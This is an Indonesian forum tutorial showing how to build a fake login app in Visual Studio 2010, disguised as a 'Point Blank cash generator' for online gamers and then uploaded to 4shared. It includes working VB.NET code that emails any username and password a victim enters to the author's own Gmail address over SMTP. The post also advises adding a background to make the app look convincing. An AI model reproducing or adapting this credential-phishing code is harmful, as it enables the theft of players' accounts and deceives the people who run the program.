membuat fakelogin menggunakan visual studio 2010

assalamualaikum kka Blazetorm smua, semoga dalam keaadaan sehat selalu..
pada kesempatan kali ingin roby share cara membuat fake loggin menggunakan visual studio 2010
kalo theread ini repost tolong segera di close y om momod
kalo salah tempat juga tolong di benerin..
maaf sebelum nya..

=======================================================================
langkah 1
*buka visual basic 2010 lalu klik new project
http://img406.images.../werewolfo.png/
* klik windows form application
http://img90.imagesh.../werewolfu.jpg/
*bikin dulu nama apps yang bakalan kita buat misal nya gemscool cash generator atau apa mau nya kka... kali ini saya membuat judul point blank cash generator
http://img5.imagesha...werewolf1n.jpg/
* kemudian klik tool box dan tambah kan label atau apapun sesuai keinginan kka...
http://img291.images...werewolf2z.jpg/
* ganti setiap tulisan label, button dan yang lain2 sesuai dengan keinginan kka..
http://img715.images...werewolf3c.jpg/
* kemudian klik kiri di button cancel hingga keluar tampilan form1.vb
kemudian tambah kan code me.close()
http://img256.images.../werewolf4.jpg/
*kemudian kembali lagi ke form1.vb[design]
dan klik dobel lagi seperti di button ID sebelumnya dan tambahkan source codex disana
http://img149.images.../werewolf5.jpg/
*lalu lakukan penrcobaan dengan meng-klik start debugging atau tekan F5lalu isi kan ID dan PASS nya..
http://img820.images.../werewolf6.jpg/
http://img227.images.../werewolf7.jpg/
*jika semua tidak ada masalah, ganti password char nya dengan tanda"*"
http://img207.images.../werewolf8.jpg/
*kemudian kita beri background agar menyakinkan...
http://img715.images.../werewolf9.jpg/
jika telah selesai di desain,klik project, pointblank cash generated properties, compiler, ganti build output path nya..
http://img137.images...werewolf10.jpg/
saya disini meletakaknya di dekstop..
http://img255.images...erewolf11v.jpg/
setelah itu tinggal upload aplikasi tadi ke 4shared atau kemana yang kka mau.....
======================================================================

source code untuk button ID

 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("username is missing")
            If TextBox2.Text = "" Then
                MsgBox("password is missing")
            Else
            End If
        End If
        Dim smtpserver As New smtpClient()
        Dim mail As New mailmessage()
        smtpserver.Credentials = New Net.NetworkCredential("your gmail here", "your gmail pass here")
        'using gmail
        smtpserver.Port = 587
        smtpserver.Host = "smtp.gmail.com"
        smtpserver.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("your gmail here")
        mail.To.Add("your gmail here")
        mail.Subject = "username: " & TextBox1.Text
        mail.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpserver.Send(mail)
        MsgBox("your message here")